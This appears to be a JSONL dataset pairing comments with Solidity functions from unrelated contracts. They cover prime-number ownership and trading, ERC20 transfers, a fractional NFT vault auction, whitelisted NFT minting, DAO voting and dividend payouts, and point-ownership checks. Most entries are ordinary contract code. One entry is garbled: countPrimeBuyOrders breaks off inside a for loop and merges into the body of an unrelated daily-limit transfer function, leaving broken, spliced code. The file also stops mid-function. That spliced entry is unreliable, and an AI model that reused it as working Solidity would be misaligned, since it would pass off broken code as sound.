////////////\n//////////// ////////////\n////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////", "function_code": "function _addParticipant(address _newParticipant) private\r\n {\r\n // Add the participant to the list, but only if they are not 0x0 and they are not already in the list.\r\n if (_newParticipant != address(0x0) && addressToParticipantsArrayIndex[_newParticipant] == 0)\r\n {\r\n addressToParticipantsArrayIndex[_newParticipant] = participants.length;\r\n participants.push(_newParticipant);\r\n }\r\n }", "version": "0.5.4"} {"comment": "////////////////////////////////////\n//////// Internal functions to change ownership of a prime", "function_code": "function _removePrimeFromOwnerPrimesArray(uint256 _prime) private\r\n {\r\n bytes32 numberdata = numberToNumberdata[_prime];\r\n uint256[] storage ownerPrimes = ownerToPrimes[numberdataToOwner(numberdata)];\r\n uint256 primeIndex = numberdataToOwnerPrimesIndex(numberdata);\r\n \r\n // Move the last one backwards into the freed slot\r\n uint256 otherPrimeBeingMoved = ownerPrimes[ownerPrimes.length-1];\r\n ownerPrimes[primeIndex] = otherPrimeBeingMoved;\r\n _numberdataSetOwnerPrimesIndex(otherPrimeBeingMoved, uint40(primeIndex));\r\n \r\n // Refund gas by setting the now unused array slot to 0\r\n // Advantage: Current transaction gets a gas refund of 15000\r\n // Disadvantage: Next transaction that gives a prime to this owner will cost 15000 more gas\r\n ownerPrimes[ownerPrimes.length-1] = 0; // Refund some gas\r\n \r\n // Decrease the length of the array\r\n ownerPrimes.length--;\r\n }", "version": "0.5.4"} {"comment": "/*function _numberdataSetOwner(uint256 _number, address _owner) private\r\n {\r\n bytes32 numberdata = numberToNumberdata[_number];\r\n numberdata &= ~NUMBERDATA_OWNER_ADDRESS_MASK;\r\n numberdata |= bytes32(uint256(uint160(_owner))) << NUMBERDATA_OWNER_ADDRESS_SHIFT;\r\n numberToNumberdata[_number] = numberdata;\r\n }*/", "function_code": "function _numberdataSetOwnerAndOwnerPrimesIndex(uint256 _number, address _owner, uint40 _ownerPrimesIndex) private\r\n {\r\n bytes32 numberdata = numberToNumberdata[_number];\r\n \r\n numberdata &= ~NUMBERDATA_OWNER_ADDRESS_MASK;\r\n numberdata |= bytes32(uint256(uint160(_owner))) << NUMBERDATA_OWNER_ADDRESS_SHIFT;\r\n \r\n numberdata &= ~NUMBERDATA_OWNER_PRIME_INDEX_MASK;\r\n numberdata |= bytes32(uint256(_ownerPrimesIndex)) << NUMBERDATA_OWNER_PRIME_INDEX_SHIFT;\r\n \r\n numberToNumberdata[_number] = bytes32(numberdata);\r\n }", "version": "0.5.4"} {"comment": "// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method", "function_code": "function sqrtRoundedDown(uint256 x) private pure returns (uint256 y)\r\n {\r\n if (x == ~uint256(0)) return 340282366920938463463374607431768211455;\r\n \r\n uint256 z = (x + 1) >> 1;\r\n y = x;\r\n while (z < y)\r\n {\r\n y = z;\r\n z = ((x / z) + z) >> 1;\r\n }\r\n return y;\r\n }", "version": "0.5.4"} {"comment": "// NTuple mersenne primes:\n// n=0 => primes returns []\n// n=1 => mersenne primes of form 2^p-1 returns [p]\n// n=2 => double mersenne primes of form 2^(2^p-1)-1 returns [2^p-1, p]\n// n=3 => triple mersenne primes of form 2^(2^(2^p-1)-1)-1 returns [2^(2^p-1)-1, 2^p-1, p]\n// etc..", "function_code": "function isNTupleMersennePrime(uint256 _number, uint256 _n) external view returns (Booly _result, uint256[] memory _powers)\r\n {\r\n _powers = new uint256[](_n);\r\n \r\n // Prevent overflow on _number+1\r\n if (_number+1 < _number) return (UNKNOWN, _powers);\r\n \r\n _result = isPrime(_number);\r\n if (_result == DEFINITELY_NOT) { return (DEFINITELY_NOT, _powers); }\r\n \r\n uint256 currentNumber = _number;\r\n \r\n for (uint256 i=0; i<_n; i++)\r\n {\r\n Booly powerOf2ity = isPowerOf2(currentNumber+1) ? DEFINITELY : DEFINITELY_NOT;\r\n if (powerOf2ity == DEFINITELY_NOT) { return (DEFINITELY_NOT, _powers); }\r\n \r\n _powers[i] = currentNumber = log2ofPowerOf2(currentNumber+1);\r\n }\r\n \r\n return (_result, _powers);\r\n }", "version": "0.5.4"} {"comment": "// A good prime's square is greater than the product of all equally distant (by index) primes", "function_code": "function isGoodPrime(uint256 _number) external view returns (Booly)\r\n {\r\n // 2 is defined not to be a good prime.\r\n if (_number == 2) return DEFINITELY_NOT;\r\n \r\n Booly primality = isPrime(_number);\r\n if (primality == DEFINITELY)\r\n {\r\n uint256 index = numberdataToAllPrimesIndex(numberToNumberdata[_number]);\r\n \r\n if (index*2 >= definitePrimes.length)\r\n {\r\n // We haven't found enough definite primes yet to determine this property\r\n return UNKNOWN;\r\n }\r\n else\r\n {\r\n uint256 squareOfInput;\r\n bool mulSuccess;\r\n \r\n (squareOfInput, mulSuccess) = TRY_MUL(_number, _number);\r\n if (!mulSuccess) return UNKNOWN;\r\n \r\n for (uint256 i=1; i<=index; i++)\r\n {\r\n uint256 square;\r\n (square, mulSuccess) = TRY_MUL(definitePrimes[index-i], definitePrimes[index+i]);\r\n if (!mulSuccess) return UNKNOWN;\r\n if (square >= squareOfInput)\r\n {\r\n return DEFINITELY_NOT;\r\n }\r\n }\r\n return DEFINITELY;\r\n }\r\n }\r\n else if (primality == PROBABLY || primality == UNKNOWN)\r\n {\r\n // We can't determine it\r\n return UNKNOWN;\r\n }\r\n else if (primality == DEFINITELY_NOT)\r\n {\r\n return DEFINITELY_NOT;\r\n }\r\n else if (primality == PROBABLY_NOT)\r\n {\r\n return PROBABLY_NOT;\r\n }\r\n else\r\n {\r\n // This should never happen\r\n revert();\r\n }\r\n }", "version": "0.5.4"} {"comment": "// Factorial primes are of the form n!+delta where delta = +1 or delta = -1", "function_code": "function isFactorialPrime(uint256 _number) external view returns (Booly _result, uint256 _n, int256 _delta)\r\n {\r\n // Prevent underflow on _number-1\r\n if (_number == 0) return (DEFINITELY_NOT, 0, 0);\r\n \r\n // Prevent overflow on _number+1\r\n if (_number == ~uint256(0)) return (DEFINITELY_NOT, 0, 0);\r\n \r\n \r\n Booly primality = isPrime(_number);\r\n \r\n if (primality == DEFINITELY_NOT) return (DEFINITELY_NOT, 0, 0);\r\n \r\n bool factorialityOfPrimePlus1;\r\n uint256 primePlus1n;\r\n\r\n // Detect factorial primes of the form n!-1\r\n (primePlus1n, factorialityOfPrimePlus1) = reverseFactorial(_number+1);\r\n if (factorialityOfPrimePlus1) return (AND(primality, factorialityOfPrimePlus1), primePlus1n, -1);\r\n\r\n bool factorialityOfPrimeMinus1;\r\n uint256 primeMinus1n;\r\n \r\n (primeMinus1n, factorialityOfPrimeMinus1) = reverseFactorial(_number-1);\r\n if (factorialityOfPrimeMinus1) return (AND(primality, factorialityOfPrimeMinus1), primeMinus1n, 1);\r\n \r\n return (DEFINITELY_NOT, 0, 0);\r\n }", "version": "0.5.4"} {"comment": "// Cullen primes are of the form n * 2^n + 1", "function_code": "function isCullenPrime(uint256 _number) external pure returns (Booly _result, uint256 _n)\r\n {\r\n // There are only two cullen primes that fit in a 256-bit integer\r\n if (_number == 3) // n = 1\r\n {\r\n return (DEFINITELY, 1);\r\n }\r\n else if (_number == 393050634124102232869567034555427371542904833) // n = 141\r\n {\r\n return (DEFINITELY, 141);\r\n }\r\n else\r\n {\r\n return (DEFINITELY_NOT, 0);\r\n }\r\n }", "version": "0.5.4"} {"comment": "// Fermat primes are of the form 2^(2^n)+1\n// Conjecturally, 3, 5, 17, 257, 65537 are the only ones", "function_code": "function isFermatPrime(uint256 _number) external view returns (Booly result, uint256 _2_pow_n, uint256 _n)\r\n {\r\n // Prevent underflow on _number-1\r\n if (_number == 0) return (DEFINITELY_NOT, 0, 0);\r\n \r\n \r\n Booly primality = isPrime(_number);\r\n \r\n if (primality == DEFINITELY_NOT) return (DEFINITELY_NOT, 0, 0);\r\n \r\n bool is__2_pow_2_pow_n__powerOf2 = isPowerOf2(_number-1);\r\n \r\n if (!is__2_pow_2_pow_n__powerOf2) return (DEFINITELY_NOT, 0, 0);\r\n \r\n _2_pow_n = log2ofPowerOf2(_number-1);\r\n \r\n bool is__2_pow_n__powerOf2 = isPowerOf2(_2_pow_n);\r\n \r\n if (!is__2_pow_n__powerOf2) return (DEFINITELY_NOT, _2_pow_n, 0);\r\n \r\n _n = log2ofPowerOf2(_2_pow_n);\r\n }", "version": "0.5.4"} {"comment": "// Super-primes are primes with a prime index in the sequence of prime numbers. (indexed starting with 1)", "function_code": "function isSuperPrime(uint256 _number) public view returns (Booly _result, uint256 _indexStartAtOne)\r\n {\r\n Booly primality = isPrime(_number);\r\n if (primality == DEFINITELY)\r\n {\r\n _indexStartAtOne = numberdataToAllPrimesIndex(numberToNumberdata[_number]) + 1;\r\n _result = isPrime(_indexStartAtOne);\r\n return (_result, _indexStartAtOne);\r\n }\r\n else if (primality == DEFINITELY_NOT)\r\n {\r\n return (DEFINITELY_NOT, 0);\r\n }\r\n else if (primality == UNKNOWN)\r\n {\r\n return (UNKNOWN, 0);\r\n }\r\n else if (primality == PROBABLY)\r\n {\r\n return (UNKNOWN, 0);\r\n }\r\n else if (primality == PROBABLY_NOT)\r\n {\r\n return (PROBABLY_NOT, 0);\r\n }\r\n else\r\n {\r\n revert();\r\n }\r\n }", "version": "0.5.4"} {"comment": "////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////\n//////////// ////////////\n//////////// Math functions ////////////\n//////////// ////////////\n////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////", "function_code": "function reverseFactorial(uint256 _number) private pure returns (uint256 output, bool success)\r\n {\r\n // 0 = immediate failure\r\n if (_number == 0) return (0, false);\r\n \r\n uint256 divisor = 1;\r\n while (_number > 1)\r\n {\r\n divisor++;\r\n uint256 remainder = _number % divisor;\r\n if (remainder != 0) return (divisor, false);\r\n _number /= divisor;\r\n }\r\n \r\n return (divisor, true);\r\n }", "version": "0.5.4"} {"comment": "// Performs a log2 on a power of 2.\n// This function will throw if the input was not a power of 2.", "function_code": "function log2ofPowerOf2(uint256 _powerOf2) private pure returns (uint256)\r\n {\r\n require(_powerOf2 != 0, \"log2ofPowerOf2 error: 0 is not a power of 2\");\r\n uint256 iterations = 0;\r\n while (true)\r\n {\r\n if (_powerOf2 == 1) return iterations;\r\n require((_powerOf2 & 1) == 0, \"log2ofPowerOf2 error: argument is not a power of 2\"); // The current number must be divisible by 2\r\n _powerOf2 >>= 1; // Divide by 2\r\n iterations++;\r\n }\r\n }", "version": "0.5.4"} {"comment": "// TRY_POW_MOD function defines 0^0 % n = 1", "function_code": "function TRY_POW_MOD(uint256 _base, uint256 _power, uint256 _modulus) private pure returns (uint256 result, bool success)\r\n {\r\n if (_modulus == 0) return (0, false);\r\n \r\n bool mulSuccess;\r\n _base %= _modulus;\r\n result = 1;\r\n while (_power > 0)\r\n {\r\n if (_power & uint256(1) != 0)\r\n {\r\n (result, mulSuccess) = TRY_MUL(result, _base);\r\n if (!mulSuccess) return (0, false);\r\n result %= _modulus;\r\n }\r\n (_base, mulSuccess) = TRY_MUL(_base, _base);\r\n if (!mulSuccess) return (0, false);\r\n _base = _base % _modulus;\r\n _power >>= 1;\r\n }\r\n success = true;\r\n }", "version": "0.5.4"} {"comment": "////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////\n//////////// ////////////\n//////////// Trading view functions ////////////\n//////////// ////////////\n////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////", "function_code": "function countPrimeBuyOrders(uint256 _prime) external view returns (uint256 _amountOfBuyOrders)\r\n {\r\n _amountOfBuyOrders = 0;\r\n \r\n BuyOrder[] storage buyOrders = primeToBuyOrders[_prime];\r\n for (uint256 i=0; i 0, \"Invalid amount provided\");\r\n // Validate that transfer is not exceeding daily limit.\r\n require(isUnderLimit(token, amount), \"Daily limit has been reached\");\r\n dailyLimits[token].spentToday += amount;\r\n if (token == 0) {\r\n require(manager.execTransactionFromModule(to, amount, \"\", Enum.Operation.Call), \"Could not execute ether transfer\");\r\n } else {\r\n bytes memory data = abi.encodeWithSignature(\"transfer(address,uint256)\", to, amount);\r\n require(manager.execTransactionFromModule(token, 0, data, Enum.Operation.Call), \"Could not execute token transfer\");\r\n }\r\n }", "version": "0.4.24"} {"comment": "//Sends tokens from sender's account", "function_code": "function transfer(address _to, uint256 _value) returns (bool success) {\r\n if ((balance[msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {\r\n balance[msg.sender] -= _value;\r\n balance[_to] += _value;\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else { \r\n\t\t\treturn false; \r\n\t\t}\r\n }", "version": "0.4.18"} {"comment": "//Transfers tokens from an approved account ", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {\r\n if ((balance[_from] >= _value) && (allowed[_from][msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {\r\n balance[_to] += _value;\r\n balance[_from] -= _value;\r\n allowed[_from][msg.sender] -= _value;\r\n Transfer(_from, _to, _value);\r\n return true;\r\n } else { \r\n\t\t\treturn false; \r\n\t\t}\r\n }", "version": "0.4.18"} {"comment": "/// @dev interal fuction to calculate and mint fees", "function_code": "function _claimFees() internal {\n require(auctionState != State.ended, \"claim:cannot claim after auction ends\");\n\n // get how much in fees the curator would make in a year\n uint256 currentAnnualFee = fee * totalSupply() / 1000; \n // get how much that is per second;\n uint256 feePerSecond = currentAnnualFee / 31536000;\n // get how many seconds they are eligible to claim\n uint256 sinceLastClaim = block.timestamp - lastClaimed;\n // get the amount of tokens to mint\n uint256 curatorMint = sinceLastClaim * feePerSecond;\n\n // now lets do the same for governance\n address govAddress = ISettings(settings).feeReceiver();\n uint256 govFee = ISettings(settings).governanceFee();\n currentAnnualFee = govFee * totalSupply() / 1000; \n feePerSecond = currentAnnualFee / 31536000;\n uint256 govMint = sinceLastClaim * feePerSecond;\n\n lastClaimed = block.timestamp;\n\n _mint(curator, curatorMint);\n _mint(govAddress, govMint);\n }", "version": "0.8.0"} {"comment": "/// @notice an internal function used to update sender and receivers price on token transfer\n/// @param _from the ERC20 token sender\n/// @param _to the ERC20 token receiver\n/// @param _amount the ERC20 token amount", "function_code": "function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal virtual override {\n if (_from != address(0) && auctionState == State.inactive) {\n uint256 fromPrice = userPrices[_from];\n uint256 toPrice = userPrices[_to];\n\n // only do something if users have different reserve price\n if (toPrice != fromPrice) {\n // new holder is not a voter\n if (toPrice == 0) {\n // get the average reserve price ignoring the senders amount\n votingTokens -= _amount;\n reserveTotal -= _amount * fromPrice;\n }\n // old holder is not a voter\n else if (fromPrice == 0) {\n votingTokens += _amount;\n reserveTotal += _amount * toPrice;\n }\n // both holders are voters\n else {\n reserveTotal = reserveTotal + (_amount * toPrice) - (_amount * fromPrice);\n }\n }\n }\n }", "version": "0.8.0"} {"comment": "/// @notice kick off an auction. Must send reservePrice in ETH", "function_code": "function start() external payable {\n require(auctionState == State.inactive, \"start:no auction starts\");\n require(msg.value >= reservePrice(), \"start:too low bid\");\n require(votingTokens * 1000 >= ISettings(settings).minVotePercentage() * totalSupply(), \"start:not enough voters\");\n \n auctionEnd = block.timestamp + auctionLength;\n auctionState = State.live;\n\n livePrice = msg.value;\n winning = payable(msg.sender);\n\n emit Start(msg.sender, msg.value);\n }", "version": "0.8.0"} {"comment": "/// @notice an external function to bid on purchasing the vaults NFT. The msg.value is the bid amount", "function_code": "function bid() external payable {\n require(auctionState == State.live, \"bid:auction is not live\");\n uint256 increase = ISettings(settings).minBidIncrease() + 1000;\n require(msg.value * 1000 >= livePrice * increase, \"bid:too low bid\");\n require(block.timestamp < auctionEnd, \"bid:auction ended\");\n\n // If bid is within 15 minutes of auction end, extend auction\n if (auctionEnd - block.timestamp <= 15 minutes) {\n auctionEnd += 15 minutes;\n }\n\n _sendWETH(winning, livePrice);\n\n livePrice = msg.value;\n winning = payable(msg.sender);\n\n emit Bid(msg.sender, msg.value);\n }", "version": "0.8.0"} {"comment": "/// @notice an external function to end an auction after the timer has run out", "function_code": "function end() external {\n require(auctionState == State.live, \"end:vault has already closed\");\n require(block.timestamp >= auctionEnd, \"end:auction live\");\n\n _claimFees();\n\n // transfer erc721 to winner\n IERC721(token).transferFrom(address(this), winning, id);\n\n auctionState = State.ended;\n\n emit Won(winning, livePrice);\n }", "version": "0.8.0"} {"comment": "/// @notice an external function to burn ERC20 tokens to receive ETH from ERC721 token purchase", "function_code": "function cash() external {\n require(auctionState == State.ended, \"cash:vault not closed yet\");\n uint256 bal = balanceOf(msg.sender);\n require(bal > 0, \"cash:no tokens to cash out\");\n uint256 share = bal * address(this).balance / totalSupply();\n _burn(msg.sender, bal);\n\n _sendETHOrWETH(payable(msg.sender), share);\n\n emit Cash(msg.sender, share);\n }", "version": "0.8.0"} {"comment": "/// @notice Claim one free token.", "function_code": "function claimFree(bytes32[] memory proof) external {\r\n if (msg.sender != owner()) {\r\n require(saleState == 0, \"Invalid sale state\");\r\n require(freeClaimed[msg.sender] == 0, \"User already minted a free token\");\r\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\r\n require(proof.verify(freeClaimRoot, leaf), \"Invalid proof\");\r\n }\r\n\r\n freeClaimed[msg.sender]++;\r\n _safeMint(msg.sender, 1);\r\n }", "version": "0.8.11"} {"comment": "/// @notice Claim one or more tokens for whitelisted user.", "function_code": "function claimEarly(uint256 amount, bytes32[] memory proof) external payable {\r\n if (msg.sender != owner()) {\r\n require(saleState == 1, \"Invalid sale state\");\r\n require(amount > 0 && amount + earlyClaimed[msg.sender] <= CKEY_PER_TX_EARLY, \"Invalid claim amount\");\r\n require(msg.value == CKEY_EARLY_PRICE * amount, \"Invalid ether amount\");\r\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\r\n require(proof.verify(earlyAccessRoot, leaf), \"Invalid proof\");\r\n }\r\n\r\n earlyClaimed[msg.sender] += amount;\r\n _safeMint(msg.sender, amount);\r\n }", "version": "0.8.11"} {"comment": "/// @notice Claim one or more tokens.", "function_code": "function claim(uint256 amount) external payable {\r\n require(totalSupply() + amount <= CKEY_MAX, \"Max supply exceeded\");\r\n if (msg.sender != owner()) {\r\n require(saleState == 2, \"Invalid sale state\");\r\n require(amount > 0 && amount + publicClaimed[msg.sender] <= CKEY_PER_TX, \"Invalid claim amount\");\r\n require(msg.value == CKEY_PRICE * amount, \"Invalid ether amount\");\r\n }\r\n\r\n publicClaimed[msg.sender] += amount;\r\n _safeMint(msg.sender, amount);\r\n }", "version": "0.8.11"} {"comment": "/// @notice See {ERC721-isApprovedForAll}.", "function_code": "function isApprovedForAll(address owner, address operator) public view override returns (bool) {\r\n if (!marketplacesApproved) return auth[operator] || super.isApprovedForAll(owner, operator);\r\n return\r\n auth[operator] ||\r\n operator == address(ProxyRegistry(opensea).proxies(owner)) ||\r\n operator == looksrare ||\r\n super.isApprovedForAll(owner, operator);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev Returns the integer percentage of the number.\r\n */", "function_code": "function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {\r\n if (x == 0) {\r\n return 0;\r\n }\r\n \r\n uint256 z = x * y;\r\n assert(z / x == y); \r\n z = z / 10000; // percent to hundredths\r\n return z;\r\n }", "version": "0.4.25"} {"comment": "/** \r\n * @dev Balance of tokens on date\r\n * @param _owner holder address\r\n * @return balance amount \r\n */", "function_code": "function balanceOf(address _owner, uint _date) public view returns (uint256) {\r\n require(_date >= start);\r\n uint256 N1 = (_date - start) / period + 1; \r\n\r\n uint256 N2 = 1;\r\n if (block.timestamp > start) {\r\n N2 = (block.timestamp - start) / period + 1;\r\n }\r\n\r\n require(N2 >= N1);\r\n\r\n int256 B = int256(balances[_owner]);\r\n\r\n while (N2 > N1) {\r\n B = B - ChangeOverPeriod[_owner][N2];\r\n N2--;\r\n }\r\n\r\n require(B >= 0);\r\n return uint256(B);\r\n }", "version": "0.4.25"} {"comment": "/** \r\n * @dev Tranfer tokens to address\r\n * @param _to dest address\r\n * @param _value tokens amount\r\n * @return transfer result\r\n */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0));\r\n\r\n uint lock = 0;\r\n for (uint k = 0; k < ActiveProposals.length; k++) {\r\n if (ActiveProposals[k].endTime > now) {\r\n if (lock < voted[ActiveProposals[k].propID][msg.sender]) {\r\n lock = voted[ActiveProposals[k].propID][msg.sender];\r\n }\r\n }\r\n }\r\n\r\n require(safeSub(balances[msg.sender], lock) >= _value);\r\n\r\n if (ownersIndex[_to] == false && _value > 0) {\r\n ownersIndex[_to] = true;\r\n owners.push(_to);\r\n }\r\n \r\n balances[msg.sender] = safeSub(balances[msg.sender], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n\r\n uint256 N = 1;\r\n if (block.timestamp > start) {\r\n N = (block.timestamp - start) / period + 1;\r\n }\r\n\r\n ChangeOverPeriod[msg.sender][N] = ChangeOverPeriod[msg.sender][N] - int256(_value);\r\n ChangeOverPeriod[_to][N] = ChangeOverPeriod[_to][N] + int256(_value);\r\n \r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/** \r\n * @dev Trim owners with zero balance\r\n */", "function_code": "function trim(uint offset, uint limit) external returns (bool) { \r\n uint k = offset;\r\n uint ln = limit;\r\n while (k < ln) {\r\n if (balances[owners[k]] == 0) {\r\n ownersIndex[owners[k]] = false;\r\n owners[k] = owners[owners.length-1];\r\n owners.length = owners.length-1;\r\n ln--;\r\n } else {\r\n k++;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// Take profit for dividends from DEX contract", "function_code": "function TakeProfit(uint offset, uint limit) external {\r\n require (limit <= tokens.length);\r\n require (offset < limit);\r\n\r\n uint N = (block.timestamp - start) / period;\r\n \r\n require (N > 0);\r\n \r\n for (uint k = offset; k < limit; k++) {\r\n if(dividends[N][tokens[k]] == 0 ) {\r\n uint amount = DEX.balanceOf(tokens[k], address(this));\r\n if (k == 0) {\r\n DEX.withdraw(amount);\r\n dividends[N][tokens[k]] = amount;\r\n } else {\r\n DEX.withdrawToken(tokens[k], amount);\r\n dividends[N][tokens[k]] = amount;\r\n }\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "// PayDividends to owners", "function_code": "function PayDividends(address token, uint offset, uint limit) external {\r\n //require (address(this).balance > 0);\r\n require (limit <= owners.length);\r\n require (offset < limit);\r\n\r\n uint N = (block.timestamp - start) / period; // current - 1\r\n uint date = start + N * period - 1;\r\n \r\n require(dividends[N][token] > 0);\r\n\r\n uint share = 0;\r\n uint k = 0;\r\n for (k = offset; k < limit; k++) {\r\n if (!AlreadyReceived[N][token][owners[k]]) {\r\n share = safeMul(balanceOf(owners[k], date), multiplier);\r\n share = safeDiv(safeMul(share, 100), totalSupply_); // calc the percentage of the totalSupply_ (from 100%)\r\n\r\n share = safePerc(dividends[N][token], share);\r\n share = safeDiv(share, safeDiv(multiplier, 100)); // safeDiv(multiplier, 100) - convert to hundredths\r\n \r\n ownersbal[owners[k]][token] = safeAdd(ownersbal[owners[k]][token], share);\r\n AlreadyReceived[N][token][owners[k]] = true;\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "// PayDividends individuals to msg.sender", "function_code": "function PayDividends(address token) external {\r\n //require (address(this).balance > 0);\r\n\r\n uint N = (block.timestamp - start) / period; // current - 1\r\n uint date = start + N * period - 1;\r\n\r\n require(dividends[N][token] > 0);\r\n \r\n if (!AlreadyReceived[N][token][msg.sender]) { \r\n uint share = safeMul(balanceOf(msg.sender, date), multiplier);\r\n share = safeDiv(safeMul(share, 100), totalSupply_); // calc the percentage of the totalSupply_ (from 100%)\r\n\r\n share = safePerc(dividends[N][token], share);\r\n share = safeDiv(share, safeDiv(multiplier, 100)); // safeDiv(multiplier, 100) - convert to hundredths\r\n \r\n ownersbal[msg.sender][token] = safeAdd(ownersbal[msg.sender][token], share);\r\n AlreadyReceived[N][token][msg.sender] = true;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Add Proposal\r\n *\r\n * Propose to send `_amount / 1e18` ether to `_recipient` for `_desc`. `_transactionByteCode ? Contains : Does not contain` code.\r\n *\r\n * @param _recipient who to send the ether to\r\n * @param _amount amount of ether to send, in wei\r\n * @param _desc Description of job\r\n * @param _fullDescHash Hash of full description of job\r\n * @param _transactionByteCode bytecode of transaction\r\n */", "function_code": "function addProposal(address _recipient, uint _amount, string _desc, string _fullDescHash, bytes _transactionByteCode, uint _debatingPeriodDuration) onlyMembers public returns (uint) {\r\n require(balances[msg.sender] > minBalance);\r\n\r\n if (_debatingPeriodDuration == 0) {\r\n _debatingPeriodDuration = debatingPeriodDuration;\r\n }\r\n\r\n Proposals.push(_Proposal({ \r\n endTimeOfVoting: now + _debatingPeriodDuration * 1 minutes,\r\n executed: false,\r\n proposalPassed: false,\r\n numberOfVotes: 0,\r\n votesSupport: 0,\r\n votesAgainst: 0,\r\n recipient: _recipient,\r\n amount: _amount,\r\n transactionHash: keccak256(abi.encodePacked(_recipient, _amount, _transactionByteCode)),\r\n desc: _desc,\r\n fullDescHash: _fullDescHash\r\n }));\r\n \r\n // add proposal in ERC20 base contract for block transfer\r\n super.addProposal(Proposals.length-1, Proposals[Proposals.length-1].endTimeOfVoting);\r\n\r\n emit ProposalAdded(Proposals.length-1, _recipient, _amount, _desc, _fullDescHash);\r\n\r\n return Proposals.length-1;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Log a vote for a proposal\r\n *\r\n * Vote `supportsProposal? in support of : against` proposal #`proposalID`\r\n *\r\n * @param _proposalID number of proposal\r\n * @param _supportsProposal either in favor or against it\r\n * @param _justificationText optional justification text\r\n */", "function_code": "function vote(uint _proposalID, bool _supportsProposal, string _justificationText) onlyMembers public returns (uint) {\r\n // Get the proposal\r\n _Proposal storage p = Proposals[_proposalID]; \r\n require(now <= p.endTimeOfVoting);\r\n\r\n // get numbers of votes for msg.sender\r\n uint votes = safeSub(balances[msg.sender], voted[_proposalID][msg.sender]);\r\n require(votes > 0);\r\n\r\n voted[_proposalID][msg.sender] = safeAdd(voted[_proposalID][msg.sender], votes);\r\n\r\n // Increase the number of votes\r\n p.numberOfVotes = p.numberOfVotes + votes;\r\n \r\n if (_supportsProposal) {\r\n p.votesSupport = p.votesSupport + votes;\r\n } else {\r\n p.votesAgainst = p.votesAgainst + votes;\r\n }\r\n \r\n emit Voted(_proposalID, _supportsProposal, msg.sender, _justificationText);\r\n return p.numberOfVotes;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Finish vote\r\n *\r\n * Count the votes proposal #`_proposalID` and execute it if approved\r\n *\r\n * @param _proposalID proposal number\r\n * @param _transactionByteCode optional: if the transaction contained a bytecode, you need to send it\r\n */", "function_code": "function executeProposal(uint _proposalID, bytes _transactionByteCode) public {\r\n // Get the proposal\r\n _Proposal storage p = Proposals[_proposalID];\r\n\r\n require(now > p.endTimeOfVoting // If it is past the voting deadline\r\n && !p.executed // and it has not already been executed\r\n && p.transactionHash == keccak256(abi.encodePacked(p.recipient, p.amount, _transactionByteCode)) // and the supplied code matches the proposal\r\n && p.numberOfVotes >= minimumQuorum); // and a minimum quorum has been reached\r\n // then execute result\r\n if (p.votesSupport > requisiteMajority) {\r\n // Proposal passed; execute the transaction\r\n require(p.recipient.call.value(p.amount)(_transactionByteCode));\r\n p.proposalPassed = true;\r\n } else {\r\n // Proposal failed\r\n p.proposalPassed = false;\r\n }\r\n p.executed = true;\r\n\r\n // delete proposal from active list\r\n super.delProposal(_proposalID);\r\n \r\n // Fire Events\r\n emit ProposalTallied(_proposalID, p.votesSupport, p.votesAgainst, p.numberOfVotes, p.proposalPassed);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Returns all the tokens owned by an address\n/// @param _owner - the address to query\n/// @return ownerTokens - an array containing the ids of all tokens\n/// owned by the address", "function_code": "function tokensOfOwner(address _owner)\n external\n view\n returns (uint256[] memory ownerTokens)\n {\n uint256 tokenCount = balanceOf(_owner);\n uint256[] memory result = new uint256[](tokenCount);\n\n if (tokenCount == 0) {\n return new uint256[](0);\n } else {\n for (uint256 i = 0; i < tokenCount; i++) {\n result[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return result;\n }\n }", "version": "0.8.4"} {"comment": "/// @param _salePrice - sale price of the NFT asset specified by _tokenId\n/// @return receiver - address of who should be sent the royalty payment\n/// @return royaltyAmount - the royalty payment amount for _value sale price", "function_code": "function royaltyInfo(uint256 tokenId, uint256 _salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount)\n {\n require(\n _exists(tokenId),\n \"ERC2981RoyaltyStandard: Royalty info for nonexistent token.\"\n );\n uint256 _royalties = (_salePrice * royaltiesPercentage) / 100;\n return (_royaltiesReceiver, _royalties);\n }", "version": "0.8.4"} {"comment": "// canVoteAs(): true if _who is the owner of _point,\n// or the voting proxy of _point's owner\n//", "function_code": "function canVoteAs(uint32 _point, address _who)\r\n view\r\n external\r\n returns (bool result)\r\n {\r\n Deed storage deed = rights[_point];\r\n return ( (0x0 != _who) &&\r\n ( (_who == deed.owner) ||\r\n (_who == deed.votingProxy) ) );\r\n }", "version": "0.4.24"} {"comment": "// canTransfer(): true if _who is the owner or transfer proxy of _point,\n// or is an operator for _point's current owner\n//", "function_code": "function canTransfer(uint32 _point, address _who)\r\n view\r\n external\r\n returns (bool result)\r\n {\r\n Deed storage deed = rights[_point];\r\n return ( (0x0 != _who) &&\r\n ( (_who == deed.owner) ||\r\n (_who == deed.transferProxy) ||\r\n operators[deed.owner][_who] ) );\r\n }", "version": "0.4.24"} {"comment": "// reconfigure(): change poll duration and cooldown\n//", "function_code": "function reconfigure(uint256 _pollDuration, uint256 _pollCooldown)\r\n public\r\n onlyOwner\r\n 